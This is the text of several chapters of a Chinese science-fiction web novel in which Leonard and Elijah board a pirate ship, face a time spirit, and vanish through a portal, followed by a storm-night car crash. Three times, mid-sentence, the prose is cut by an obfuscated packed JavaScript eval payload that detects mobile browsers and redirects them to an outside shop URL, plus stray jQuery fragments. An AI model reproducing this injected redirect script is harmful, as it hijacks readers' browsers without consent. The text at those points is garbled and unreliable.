直到后来,莱纳德都相当确信,火烧起来的同时,他绝对听到了接驳船长颈骨折断的声音,不过当时一切都发生得太突然,他倒在地上试图靠打滚灭火时,以利亚把接驳船长连人带枪扔出了舱门,然后按下了紧急闭门的按钮。 “莱尼?你怎么样?受伤没有?”以利亚声音里有某种难以形容的恐惧,“喂,你听得到我说话吗?”他把莱纳德从烧得焦黑的防护服里解救出来,双手乱摸,把人从头检查到脚,确认莱纳德没被烧伤,腰间的氧气罐也奇迹似的没有爆炸,这才松了口气,一屁股坐到地上:“他妈的,吓死我了。” “我没事,我没事……”莱纳德也在大口喘气,连他自己都不敢相信,但他浑身上下既不疼也不痒,仿佛刚才的火完全没烧到身上似的。 他抹了把额头:“这帮海盗的防护服质量竟然还不错,哎,刚才那人呢?火焰枪呢?”他看到以利亚身边歪着一个空了的灭火器,防护服已经烧得看不出本来面目,此刻正散发出一阵阵恶臭。 “解决了。”以利亚竖起大拇指指向身后紧闭的舱门,然后伸手拉起莱纳德,“看来混进海盗船的计划要略作变动了,走,我们到驾驶室看看。” 接驳船里连一个海盗都没有,以利亚在驾驶室的交互屏幕上看到了海盗船发来的确认信息,以及交换密钥后得到的三角坐标,高兴地右拳在左手掌心用力一砸,说道:“幸亏接驳船长贪生怕死,提前拿到了海盗船的位置。” 莱纳德在一旁探头探脑,但操作面板上的符号他一个也不认识,问道:“我们这样开着接驳船过去,不会被海盗船长一眼识破吗?” “当然不是开着接驳船过去,我们只需要拿到坐标。”以利亚把手伸进防护服,掏出金属笔,朝莱纳德晃了晃,得意道,“我说过吗?我的技术可是精确到针点定位。” “没说过,”莱纳德忍不住一笑,“只要你别把门开到海盗船长脸上,我就谢天谢地了。” “宝贝儿,你对我可真有信心。”以利亚揶揄道。 “一直是。”莱纳德反唇相讥。 不过以利亚还真没有吹牛,跨过传送门,莱纳德发现自己已经从植物星球来到了飞船甲板上,身旁的舱壁垂下一面深紫色旗子,旗面上画着一只鹰头蛇神的动物,三个骷髅头众星捧月地围着它。 “这群海盗的图腾崇拜可真够怪的。”莱纳德移开目光,以利亚在他前面走着,尽管两人都是第一次来,以利亚却偏偏熟悉得像是回到了自己家里,哪里转弯、哪里避开摄像头,无不知道得清清楚楚,脚步轻快,好像只灵巧的大猫。 “仓库就在这条走廊尽头右转,那些海盗抢来的植物肯定都藏在里面。”以利亚说,一边小心翼翼地观察着周围的环境,两个人沿着走廊往尽头走去,莱纳德嘟囔道:“你应该把仓库作为你的针点定位,教授。” “让你失望了,”以利亚仿佛猜到他要这么说,轻笑道,“但我们的目的地不是仓库,藏宝贝的地方一般都布满报警装置,。” “我们要去哪儿?”莱纳德忍不住追问,“你没忘了我们是来找时光精灵,不是来找死的吧?” “放松点,你总是太紧张。” “是啊,我刚才只是差点被烤熟而已,没什么好紧张的。” “对啦,习惯就好。” “还要习惯?你总是不告诉我计划,不然……” “嘘,我们到了。”以利亚用双手贴住墙壁,摸索着像在找什么机关,一边喃喃自语,“应该是从这里开启,哈!”他右手的几根手指忽然陷进了墙壁里,抓住什么东西一拧,顺时针旋转一百八十度,他们面前的墙壁便忽然向一边滑了过去,露出一道一人半宽的门来。 “跟上。”以利亚拉住莱纳德走进去,门在两人身后悄无声息地关上,他朝莱纳德挥挥手,微笑道,“欢迎来到每艘太空飞船最安全的地方。” 莱纳德抬起脚,看看鞋底沾上的可疑粘稠物,眼前堆满各种黑乎乎的垃圾的狭小空间,以及隔着氧气面罩都能感觉得出浑浊的室内空气,说:“恕我直言,这地方看起来像个下水道。” “那是因为它就是个下水道,”以利亚淡定地回答道,“每个飞船都有废物处理系统,因为飞船也像人一样需要呼吸和排泄,每个废物处理系统都靠电脑进行自动化控制,因为人永远都很懒惰,放心吧,没有人会注意到这里的。” “你觉得时光精灵会藏在这儿?”莱纳德不情愿地跟上去,鞋底踩在积水和垃圾上,发出“吧唧吧唧”的声响。 “时光族是宇宙中最低调但又最强大的一族,以时光精灵的能力,它根本不需要躲起来,那些海盗根本不知道自己‘抢’到了什么宝贝。”以利亚绕过地面上的垃圾和一些功能莫名的机器,挑了面勉强能入眼的墙,拿出金属笔在视线齐平的位置画了一个电视似的长方框。 “那我们来这儿干嘛?等等,要是时光精灵真的那么强大,时光榕树为什么还要让咱们来阻止海盗?”莱纳德看着以利亚在方框里写下几串程式,“嘿,如果你只是把这儿当做中转站,我可以申请下回挑个不至于弄脏鞋子的地方吗?” “不是中转站,是电影院。” 以利亚写完程式,收起金属笔,双手按住方框往里按去,但这次方框竟然没有变成莱纳德熟悉的传送门,他们眼前出现了一面光屏,开始播放一群人围坐在圆桌边的画面。 以利亚歪头欣赏莱纳德脸上惊讶的表情,说道:“好吧,夸张了点,我只是黑进了飞船的监控系统,锁定船长的生物信号,把他所在舱室的实时画面传送给我们,我有种预感,时光精灵眼下说不定正跟船长亲近得很呢。” 莱纳德瞪大眼睛看着光屏上的监控画面,喃喃道:“这个圆桌……我好像在哪儿见过。” 一身灰色制服的海盗船长坐在圆桌上手位置,头发如同蓝色火焰一般在空中飞舞不休,他的客人们围在圆桌边坐了一圈,紧挨着他坐的,是一个穿着华丽的男人,拥有淡金色的头发和皮肤,修长的手指间夹着一只镶钻的鼻烟壶,身后还跟着两个全副武装的守卫。 “纳威星系的皇族,没认错的话这个还是风头最健的王位继承人。”以利亚指金色男人,介绍道,“据说纳威皇族后裔出生后都需要在特制的药水里浸泡足足七天,才能拥有这种高贵的肤色。” 莱纳德嗤笑:“嗯哼,跟费列罗巧克力一样高贵。” 还几个商人模样的家伙,看打扮来自不同的星系和联盟,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆锁船长悠然回答:“如果他带的黄金足够,又何乐而不为呢?” 一个衣着华丽的行商不以为然地摇摇头,面带讥笑:“但既然阿猫阿狗都进得去你那货仓,谁又知道那批货物是否还完整。”他心不在焉——至少是假装心不在焉地转动着拇指上的蓝宝石戒指,用眼角瞥向穆锁:“我要求验货。” 他身旁的商人也立刻说道:“对啊,谁知道那小偷有没有在货上做手脚。”大胡子紧跟着附和:“我要求验货!我们都要求验货!” 穆锁船长脸色阴沉:“各位,莫忘了你们此刻在谁的飞船上。” 话音刚落,尚未有人来得及回应,大胡子商人忽然发出一声尖锐的倒气,他双手握住自己的喉咙,喘不上气来似的用力抓挠起来,双眼翻白,断断续续从牙缝里挤出来几个不成句的字眼:“水、给我水……” 隔着光屏也能看得清楚,大胡子裸露在外的皮肤仿佛变成了快速腐朽的香蕉皮,一下子堆满褶皱,生出斑点,原本浓密的头发胡子则彻底变成了干枯的稻草,被他狂乱抓挠的手一碰便簌簌掉落。 他变老了,莱纳德悚然意识到,在短短几秒钟内就像度过几十年那样老去了。 22.第十六章:时光精灵 圆桌之上无人不大惊失色。 穆锁船长迅速从腰间掏出武器,对准圆桌上其他人,大声道:“谁?是谁干的?”他把枪口从一个商人转到另一个商人,不放过每一个人脸上的表情变化,最后停在银发男人身上,喝道:“站起来!你,把双手举到我能看到的地方!” “不是我,”银发男人依言站起来,高举双手,缩起脖子,尖声道,“听我说,我什么都没干,千万别开枪。” “就是你派人偷溜进我仓库,你以为我不知道?告诉你吧,你也许是个聪明鬼,”穆锁船长恶狠狠道,“但我可不是傻子。” 说完手指就扣下了扳机。 嗤—— 穆锁船长疑惑地低下头,看着自己的右手,武器不知怎的没有击发,手腕上却多了一道奇怪的红线,穆锁对这种红线熟悉得很,激光武器轻易就能造成这种伤口,像手术一样精巧、干净,他一直用这法子管教自己的船员……穆锁没有继续思考下去,他的右手连带着枪一块跌到了地上,发出“噗”的一声,手腕断面平整,连手指都还保持着扣扳机的动作。 血喷溅出来时,穆锁船长竟然还能站得住,他转过身,顺着绿莹莹的激光,看到了刚刚跨过传送门的以利亚和莱纳德,两个人手里都握着激光枪,正稳稳地对准他。 在他背后,刚才还抖如筛糠的银发男人忽然扑上来,手腕一翻,手里竟握着一把长不及两寸的小巧匕首,“嗤”地没入了穆锁的后背。 与此同时,舱门和舷窗“刷”地封闭落锁,头顶的灯光闪烁了几下,这才恢复稳定。 以利亚说道:“很遗憾地通知你,海盗先生,这艘飞船被我们占领了。” “还有,”莱纳德知道这个冷笑话不合时宜,但他忍不住,“虎克船长向你问好,他在永无岛上给你留了样好东西。”一个能装在手腕上的铁钩子,哈。 但显然没人听懂这个包袱。 “你们、你们是什么人?怎么会?”穆锁船长的声音沙哑,说完这句话,他就倒了下去,就摔在他自己的断手上。 “别动!”以利亚朝纳威皇族身后的警卫放了一枪,激光擦着对方的耳朵射过去,喝道,“谁再动一下,我保证他马上脑袋开花!还有你们,闭上嘴举起手来站好,包括你,小金人。”枪口直指脑袋,纳威皇族也只好屈尊举手投降。 另一边,莱纳德跟那银发男人面面相觑,愕然道:“奥多娜?是你?” “二位,好久不见。”奥多娜·霍普把沾血的匕首在靴底擦干净,收了起来,她皮肤上涂了某种银色涂料,眼睛里也戴了有色瞳片,模样大改,但莱纳德还是一眼就认出了她,听到她说“好久不见”,忍不住一笑:“如果几天时间对你来说也算很久的话。” “哈,对我来说,阿斯兰山谷可都是一年前的事了。”奥多娜说道。 “什么山谷?”莱纳德一愣。 “真不想打扰你们两位好朋友,但我们还有正事呢,”以利亚终于开口打断他们,“叙旧的话还是以后再说吧。” 莱纳德又问奥多娜:“你怎么会来这里?”他瞟了一眼大胡子商人,就这么一会儿功夫,商人的眼白已经变成了浑浊的灰色,深深陷在椅子里,好半天才吃力地喘上一口气,残余不多的生命力正逐渐离他而去。“怎么,时间特工也管起星际走私来了?” 没想到奥多娜却否认了:“这位老爷爷可不是我的杰作。”她眨眨眼睛:“说实话,我也没计划在这见到你们二位。” 莱纳德咽了口唾沫:“咳,那这又是谁干的?” 奥多娜摇摇头。 以利亚说:“看来,我们碰上了玩弄时间的高手。”他目光在圆桌上晃了一圈,能坐在这里的恐怕没一个善茬,纳威皇族自不用说,几个行商也都是来自七大星系中最富裕的星球,面对价值不菲的珍奇植物,就如同闻腥而来的鬣狗一样,企图分上一杯羹。 但能在不动声色间让人迅速衰老的,只有一个。 莱纳德警惕地看着那几个人,忽然,眼角余光瞄到倒在地上的断手船长,一股凉意顿时攫住了他的胃,用力绞紧,他看到穆锁居然睁开了眼睛,铁锈色的瞳孔里闪过冷酷又兴奋的光,那只没断的手像负鼠一样蠕动着钻到身体下面。 ——他是在找那把枪,他会朝以利亚开枪。 这个想法跳进莱纳德的脑海,像万有引力那样理所当然,他来不及细思前因后果,但他就是知道。肾上腺素的作用下,这一瞬间仿佛被拉得无限长,另一边,奥多娜的眼睛惊恐地瞪大了,眉毛上扬的角度让她看上去像个玩偶娃娃,毫无疑问,她也看到穆锁了,只有以利亚偏偏在看另一个方向。 “杂碎,受死吧!”穆锁翻身举起枪,怒吼一声,扣下了扳机—— 莱纳德将将在穆锁举枪前朝以利亚扑了过去,双手扣住以利亚的肩膀把他向后猛推,背后,热武器瞬间在防护服上灼烧出杯口大小的洞,他清晰地感受到那股力量正以不可阻挡的势头穿透他…… 但是没关系,因为生死有命,这是宇宙的终极形态,对吗? 奥多娜的反应只比莱纳德慢一点,她前冲飞起一脚,把穆锁手里的枪踢飞出去,第二脚落在他的头上,穆锁连哼都没哼一声便昏死了过去,奥多娜立刻奔向滚倒在地的两人,莱纳德防护服后背一片焦黑,万幸没有看到血迹,她急忙把人扶起来:“怎么样?哪里受伤没有?” 莱纳德脸上表情茫然大过痛苦,他摸了摸胸口和后背:“我没事……以利亚?以利亚!” 以利亚仰面躺在地上,双目紧闭,背后有一滩血迹正在慢慢扩大。 莱纳德慌乱地在他背后伸手一摸,防护服完好无损,但血却仍在不断渗出,他拍拍以利亚的脸颊,喊他,“醒一醒,你听得到我说话吗?”以利亚低低地呻吟了一声,神志不清间抓住莱纳德的手指,又无力地松开。 “怎么回事?怎么回事啊?”莱纳德接过奥多娜递过来的快速疗伤贴,却茫然不知该如何下手,奥多娜从他手里拿回疗伤贴,在他肩膀上轻轻一推,扶起以利亚给他仔细地贴好伤口,又说:“别担心,他会没事的。” 莱纳德却仍然沉浸在思绪中,呆呆地看着以利亚失血苍白的脸,刚才那枪绝不可能射中以利亚,除非子弹会拐弯,他明明推开他了,他明明挡住他了,千真万确。 可为什么受伤的却是以利亚? 他忽然一把拉过以利亚的左手,低下头仔细查看,掌心的位置有一道伤疤,愈合后变得很淡,几乎看不出来,但莱纳德记得很清楚,那是以利亚第一次当着他的面消失又出现后多出来的伤口,无独有偶,他被困在海子力场里时,也曾经在同样的位置划过一刀,却奇迹似的没有留下任何伤口。 还有刚才他被喷火枪烧着却毫发无伤,莱纳德毛骨悚然,也许根本没有什么奇迹,或者说,所有奇迹都明码标注了代价。 咚、咚、咚—— 舱门外骤然响起一连串沉重的敲击声,仿佛有很多只手在砸门,力道奇大无比,只砸了几下,金属舱门就承受不住扭曲变形起来。莱纳德紧张地举起枪,刚才以利亚把飞船上的所有海盗船员都关进了各自的舱房,他们不可能出得来,但安保系统被骇入后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954967|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也无法再对意外事件报警,比如…… “不准备打开门看看吗?”从刚才起就一言不发的纳威皇族忽然开口,他双眼中有金色星芒一闪而过,语带戏谑,“多谢你们破坏了安保系统,不然我还在发愁怎么把仓库打开呢,我的伙伴们等这一刻很久了。” 莱纳德霍地转过头:“是你!” 纳威皇族悠然道:“不是我。”他耸耸肩,仿佛猜到了莱纳德心中所想,“如果你指的是那傻瓜把你所受的伤痛转移到自己身上的话,与我无关,只有魔鬼才会答应这种交易。” “你什么意思?”莱纳德咬住牙,因为太用力腮帮子都鼓了起来,他看起来很恼怒,但事实却是,那些话背后的深意让他惊呆了。 魔鬼的交易? “只是给你提个醒罢了,”纳威皇族保持微笑,“不过,如果我是你,我现在会更担心自己的安危。” 莱纳德朝纳威皇族走过去,紧紧盯着他:“你是时光精灵,对不对?”在此之前,他一直以为精灵会是巴掌大小、半透明、长着翅膀四处乱飞的小东西,或者莱戈拉斯。 果然还是太天真了。 “艾尔弗,拜托,我是有名字的。”自称艾尔弗的时光精灵说道,仍然保持着纳威皇族的外观,只有眼睛闪烁着跟时光榕树相同的金芒,注明了他时光族的身份。 “你的时光榕树母亲让我来找你,她希望你回家。”莱纳德说道,大树的声音仿佛就回响在耳边——时光精灵是我的孩子,他被星际海盗劫走,那些海盗还不知道自己将要面临的后果——原来她担心的并不是时光精灵,他早该猜到的。 “我会回去的。”艾尔弗满不在乎地耸了耸肩,“等我完成她拒不履行的使命。”他忽然笑了笑,笑声透着森然邪气:“杀光那些贪得无厌的入侵者,这群海盗只是个开始。” 几乎是他话音刚落,金属舱门终于不堪重击,被砸出一个破口,莱纳德忍不住一声惊呼,只见破洞口“嗖”地钻进一根藤条来,竟比成人的小腿还要粗些,在空中抻直,朝莱纳德兜头砸了下去! 莱纳德就地一滚,躲开了藤条的第一次攻击,但藤条紧跟着在空中一折,“啪”——重重抽在了莱纳德匆忙举起格挡的手臂上,激光枪脱手飞出,藤尾扫过他脸颊的地方顿时火辣辣的,转眼就肿了起来。 “我是来帮你的!”莱纳德大喊,开口时险些又挨一藤条。 “就凭你?”艾尔弗大笑起来,他张开五指一伸手,莱纳德登时不由自主地朝他跌了过去,艾尔弗揪住他的衣领,把他提到自己跟前,冷笑道,“我不知道母亲怎么会看中你,你只不过是个过去、现在和未来都乱成一团,连自己是谁都搞不清楚的可怜虫罢了,你哪里帮得上我?” 莱纳德距离那个金光闪闪的鼻尖不过分毫距离,将对方的讥笑和不屑看在眼底,他挣扎着吐出气音:“你……”但抓住他领口的那只手用力收紧,一时间简直无法呼吸。 两人对峙的同时,厚重的舱门已经被七八根藤条砸得支离破碎,那些东西仿佛长着眼睛,一边挥舞一边朝有人的地方挥击过去,一旦碰上,便牢牢缠紧,再不松开。圆桌旁几个手无寸铁的行商转眼间便沦为了藤条的玩物,在狭小的室内尖叫奔逃,最后无一能逃被藤条裹成茧囚禁在内的命运。 奥多娜单手拖着以利亚,吃力地挥舞匕首对抗藤条,却终究势单力薄,被几条藤逼得步步后退,眼看便要被围困在墙角。 忽然,她感到怀里的人动了动,一低头,正看到以利亚睁开了眼睛。 他竖起食指,比了个“嘘”的手势。 23.第十七章:意外之门 “你以为我愿意背井离乡,跟这些肮脏的人类打交道?”艾尔弗仍揪着莱纳德不松手,盯着他的眼睛,声音越来越大,“风琴岛的植物种群原本自成一体,不受打扰,是入侵者逼得它们进化自保,你以为音乐蛇藤天生就喜欢吃人?毒化枝叶是鸢尾樱原本的选择?” 他忽然用力把莱纳德扔到一边,几条细藤立刻飞快地爬过来缠住莱纳德的四肢,牢牢把他锁在了地上。莱纳德挣扎了几下就识趣地放弃,那些藤虽然没有攻击他,但他可见过它满嘴尖牙的样子。 艾尔弗冷笑着继续说道:“一株幼年云枫要经历上百个春秋寒暑才能长成,再经历七次雷击才能结出果实,等不到雷暴的云枫只有等待十年后的下一轮花期,只有最幸运的云枫才能播撒种子,生根发芽。”他脸上的表情因为愤怒而扭曲,“而你们人类却随便攫取云枫果拿去泡水喝!” 莱纳德回答:“并不是所有人类,听我说,艾尔弗,杀掉他们解决不了问题。” 艾尔弗往前走了一步,居高临下地看着他:“是吗?你骗不了我,莱纳德·杜弗伦,我一眼就能看穿欺骗时间的人,而你,你更可恶,你是个欺骗死神的人。” 莱纳德不及细想,脱口反诘道:“那你又算什么?杀掉一船人来贿赂死神吗?” 艾尔弗说:“就算杀死一船海盗,总还会有下一艘海盗船,下一笔肮脏交易,你们人类追逐金钱,就像海里的鲨鱼追逐血腥,想要自由地活着,仅仅对付一条鲨鱼远远不够。” 他用两根手指捏起那只镶满钻石的鼻烟壶,装模作样地吸了一口,嗤笑道:“纳威皇室的财力和地位足够让我追回散落在其他星球的兄弟姐妹,作为即将继承皇位的皇子,我会保证禁止七大星系非法贩卖风琴岛植物的政策被有力执行的。” “然后呢?” 莱纳德预感到,艾尔弗绝不会止步于此,时光榕树说过会有毁灭性灾难降临,而当他看着时光精灵如同火焰一般燃烧的金色眼睛时,他就明白这灾难将会是谁带来的。 “然后?当然是建立星际护卫军,保护风琴岛不再受外来者侵袭。” 艾尔弗扬了扬眉毛,高贵的额头上挤出几道嘲弄的皱纹。 “你说的护卫军……啊!” 船舱忽然猛地震动,地板一瞬间呈九十度倾斜,紧跟着又朝另一个方向歪倒,除了固定在地板上的桌椅,以及被藤条死死缠住的莱纳德,所有东西都在飞船的人造重力下做起了混乱的自由落体。 艾尔弗也踉跄了两步,又很快稳住,他的身体被一层金光包裹起来,竟然向上飘起浮在了空中,但看他又惊又怒的表情,这次震动显然在他的意料之外。 海盗们把植物锁在仓库里,以利亚骇入安保系统后,他第一时间便指挥读心菌丝打开了门锁,但刚才的震动正是来自仓库爆炸,艾尔弗惊恐地意识到,还有超过半数的植物留在那里,它们没有进化,无法自保。 仿佛感受到艾尔弗的情绪变化,盘踞在船舱里的藤条不安地扭动起来,行商们从散开的藤茧里跌出来,有几个撞在一起,顿时纠缠着扭打起来,惨叫声不绝于耳,简直像是全宇宙最糟糕的空中马戏团事故。 缠着莱纳德的藤条也终于松开,却未必是件好事,船舱又一次剧烈震动,莱纳德先是撞上椅子腿,然后头晕眼花地滚到了桌子底下,幸好一只手用力抓住他的胳膊,居然是奥多娜,她在他耳朵边上不知冲谁大喊了一声,震得他脑袋嗡嗡的:“就是现在!” 人造重力骤然消失。 一瞬间,莱纳德只觉得五脏六腑都涌进了嗓子眼,将吐未吐之际,人跟着一头撞上了圆桌底板,顿时眼冒金星,他抓住桌腿试图稳住自己,却被一个发狂挣扎的行商一脚踹在肩膀上,手指不得已松开,狼狈地朝一边滚了过去,奥多娜抓住他的手也在混乱中滑脱了。 艾尔弗原本浮在空中,重力消失得太突然,他反应不及向上飘去,头顶上方,一个绿色光圈恰在此刻显现,如同一张伺机噬人的兽口一般,倏地将他的上半身吞了进去。莱纳德认出了以利亚的传送门,却没看到以利亚在哪里。 绿圈那一边也不知道有什么东西,只听艾尔弗愤怒地尖叫了一声,身上光芒大盛,扭动着想挣脱出来,几根系藤条也飞快地游过去,试图卷住他的腿。 “以利亚,快!”奥多娜再次大喊,听声音,她已经飘到了很远的角落。 以利亚没有回话,人造重力忽然间重启,却上下颠倒,这下子所有人都朝天花板砸过去,艾尔弗更是只剩下两条腿还在外边,但藤条也在这时缠住了他的脚踝,把他朝反方向拉了出去。 莱纳德刚才在慌乱之间居然扒住了圆桌边缘,摇摇晃晃地吊在半空,他忽然发现自己离艾尔弗很近,清清楚楚地看到藤条正拽着他离开绿圈,眼看就要成功,而他几乎能伸手碰到艾尔弗的腿。 绿色荧光闪烁着,这是传送门即将消失的信号,莱纳德脑海里闪过一个滑稽又残忍的念头,如果绿圈消失时恰好卡在艾尔弗脖子上,这家伙会不会被斩首? 但看绿藤拖拽的速度,传送门消失前,艾尔弗就会全身而退,重得自由。 他是唯一能阻止这一切的。 “莱尼,不要!”以利亚不知在哪里大叫了一声,莱纳德在他喊出声之前就松开了手指,让重力带着他扑向艾尔弗,一脚蹬在对方下巴上,然后翻身拦腰合抱,两人一起栽进了绿圈,细藤被骤然加大的力道抻得笔直,却在绿圈边缘畏惧似的退缩了,松开了艾尔弗的脚踝。 两个人坠入了绿圈深处,绿圈最后闪烁了两下,消失了。 “莱尼!”以利亚踉跄地奔过来,只抓住了空气中飞快消散的绿色荧光点,他咬牙咒骂一声,俯下身来,后背伤口肯定是撕裂了,痛得人眼前直发黑,奥多娜上来扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976355|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,结果被甩开了,以利亚转头对她怒目而视:“我刚才怎么跟你说的?一定要抓住他,无论如何都不能松手,你干嘛去了?啊!?” 奥多娜不敢争辩,只问:“传送门通向哪儿?我们去找他。” 以利亚捂着胸口坐倒在地,摇摇头,声音发苦:“没那么简单。” 莱纳德终于还是吐了出来,不偏不倚,正好吐在艾尔弗身上。 “滚开!”艾尔弗一把推开他,回头寻找传送门的痕迹,但绿色光圈已经彻底消失了,他没头苍蝇似的转了几圈,返回来恼羞成怒地揪住莱纳德的衣领,把他从地上提起来,大吼道:“这是哪儿?告诉我!” 莱纳德擦干净嘴边的呕吐物,忍着头晕恶心,嗤笑一声:“怎么,害怕了?”他一边转了转眼珠,说实话,这里的环境确实有几分吓人,四周一片寂静,入目尽是焦土和废墟,破败的高楼只剩下断壁残垣,洞开的楼门仿佛没牙的老太太正咧嘴而笑,从里面隐约能窥见人类生活过的痕迹,但那些痕迹上无一不覆盖着厚厚的黄土,连空气中也飘满了黄豆大的灰尘。 抬起头,只见天空呈现铁锈似的暗红色,仿佛刚刚经历过一场生化危机,远处一大团一大团的也不知是沙尘还是乌云,正朝他们滚滚而来,气势汹汹,难怪连时光精灵也会失去冷静。 艾尔弗眯起眼睛:“你不怕我杀了你?” 莱纳德坦然回望,静静道:“不怕。” 艾尔弗盯着他,忽然一笑松手:“你还真不怕,怎么,是你有金刚不坏之身,还是我看上去一副慈悲心肠?” 莱纳德站直身子,拍拍自己的衣服,悠然道:“因为你不知道这是什么地方,我知道。”他顿了顿,尽量让自己语气里的戏谑听起来真实一些,“你不知道怎么离开,我知道。” “你在虚张声势。”艾尔弗冷冷道,“别想骗我,你知道我会读心吧?” “第一,我没有虚张声势,第二,你也不会读心,第三,你真的应该照照镜子。”莱纳德笑吟吟地看着艾尔弗,对方原本伪装成纳威皇族的淡金色皮肤在刚才就变回了白色,金发也变深了。 而且,即便是刚才火冒三丈的时候,艾尔弗的眼睛都没有冒出半点金色光芒。 看起来,不管这个鬼地方是哪儿,一定都是以利亚为时光精灵特意挑选的,那些玩弄时间的小把戏在这里通通失效了,所以眼下站在莱纳德面前的,不过是个跟他一样的普通人,也许还不如他。 想到这,莱纳德不由得笑得更开心了。 “别得意,”艾尔弗瞪着他,忽然伸手一指远处滚来的云团,讥笑道,“我打赌那东西绝对不是普通的云,说不定咬起人来比蛇藤还狠呐。” “你说得对,所以我们最好现在就开始逃命。”莱纳德说。 但他们并没有真的被咬,那云团里等待他们的,是某种更危险的东西。 24.第一章:暴雨之夜 ——走之前请记得叫醒我, ——别玩消失让我心神不宁。 ——走之前请记得叫醒我, ——我不想错过你的开心瞬间。 乔治·迈克尔的声音从车载音响里传出来,轻松欢快,莱纳德揉揉眼睛,发现自己居然睡着了,车窗外,树木和公路正飞快地倒退,他咽了口唾沫,默默拉过安全带扣上了卡扣。 “吉巴特,吉巴特,走之前请记得叫醒我,哦,哦——”身旁的司机正投入地跟唱,莱纳德盯着那头金色卷发,惊讶地瞪大了眼睛:“佩吉?” “小瞌睡虫,怎么了?”佩吉·杜弗伦偏过头,微笑时露出洁白整齐的牙齿,“我唱歌太大声把你吵醒了?” “我……你怎么……”莱纳德喉咙发干,惊疑的感觉从心里飞快地淡去,他清了清嗓子,“老天爷,我睡得可够死的。”他伸手用力揉着后脖子,那地方的肌肉又酸又胀,在车上打盹就是会有这种效果。 佩吉说:“看来你在学校好好用功了。”她忽然调皮地眨眨眼睛,又说,“要么就是校园生活让你放纵过度。” “我是去上大学,姐,不是加入了嗑药俱乐部。”莱纳德用胳膊肘怼了佩吉一下,对方立刻反手打回来,“啪”的一声落在他手背上。“司机才有权利打人,坐副驾驶的只配老老实实把嘴闭上。” “遵命,迈克尔·舒马赫 。”莱纳德在嘴唇上做了个拉拉链的手势,结果没过一会儿,佩吉又忍不住问东问西:“这么说,你没有在校园遇到什么特别的人咯?” “额……”莱纳德脑海里闪过一双漂亮的灰色眼睛,脸却是模糊的,于是他摇了摇头,“没有,大家都在忙着学习。” “听起来可不像大学呐。” “嗯哼,确实不像你的大学。” “嘿!”佩吉又打了他一下,这次声音可响多了,“麻省小崽子,你对波士顿大学有什么意见?” “没什么意见,”莱纳德揉着被打红的手背,忍着笑,“但它不是哈佛,你知道的。” 佩吉冲他威胁地呲了呲牙:“你死定了。” 话音刚落,车身忽然压过某种异物似的猛地向上一跳,两人还没来得及惊叫出声,眼见同时一黑,车外原本艳阳高照的好天气霎时间消失无踪,取而代之的是乌云密布,紧接着电闪雷鸣,瓢泼大雨兜头而下。 这一切变化仅仅发生在几十秒内。 “佩吉,你能把车头灯打开吗?”雷鸣和瓢泼雨声几乎盖过了他的声音,莱纳德忐忑地捏紧安全带,紧紧盯着前面黑漆漆的路,“快点,拜托。” “这就开灯,老天爷,你能不能耐心一点?”佩吉摸索着打开车头灯,另一只手拨开雨刷器,但根本没用,雨水已经在车前窗上流成了几道宽窄不一的瀑布,两根雨刷仿佛吉恩·凯利正在雨中曲里跳着舞寻找自我,水迹仍模糊一片。 “天气预报明明说是晴天的,怎么说变就变?”佩吉边抱怨边放慢了车速。 莱纳德咽了口唾沫:“你没看新闻吗?强风席卷东海岸,附近区域预测会出现暴雨甚至洪水灾害。” “庞蒂亚克不属于附近区域,好吗?而且一下子黑成这样也太离谱了。”佩吉拿出手机,打开电子导航功能,另一只手扶着方向盘,看得莱纳德心惊肉跳,生怕车直接撞到马路牙子上。 “当前GPS信号弱,”导航电子音冷冰冰地提示,“地图不可用,请转移至开阔地带。” “狗屎软件。”佩吉低声咒骂,莱纳德瞄了她手机一眼,说道:“信号确实没了,可能是基站受到暴雨影响,这下可好,连电话都打不了了。” 佩吉烦躁地揉了揉头发:“爷爷还在家等咱们呢。” “以他的脾气,更有可能打着手电出来找咱们。” “老天爷,可千万别!” “额,佩吉?” “怎么了?” “你能不能停车?”莱纳德的声音里忽然充满了恐惧,他记起来了,那晚的暴雨,还有这辆车,他听到自己牙齿打颤的声音,“听我说,前面有……” 车身骤然剧烈颠簸,莱纳德一头撞到身侧的车玻璃上,差点咬断舌头,汽车爆胎的声音完全被雷雨淹没,头晕眼花间,莱纳德看到佩吉在猛打方向盘,他大吼道:“别!会翻的!”但为时已晚,车身在一阵令人牙酸的打滑声中不受控制地横飞了出去。 莱纳德失去意识前最后看到,是佩吉的金色卷发,在车身翻滚时盖到了她的脸上,因为沾上血迹而变得斑驳。 “莱尼?” “莱尼,快醒来哦。” 莱纳德一惊而醒,他发现自己趴在被雨水浇得泥泞异常的地面上,手和头脸都沾满泥水,衣服更是一塌糊涂,翻车的记忆回到脑海里,他赶紧爬起来,只见马路边一团废铁正在滋滋啦啦地冒着白烟,那是他们的汽车。 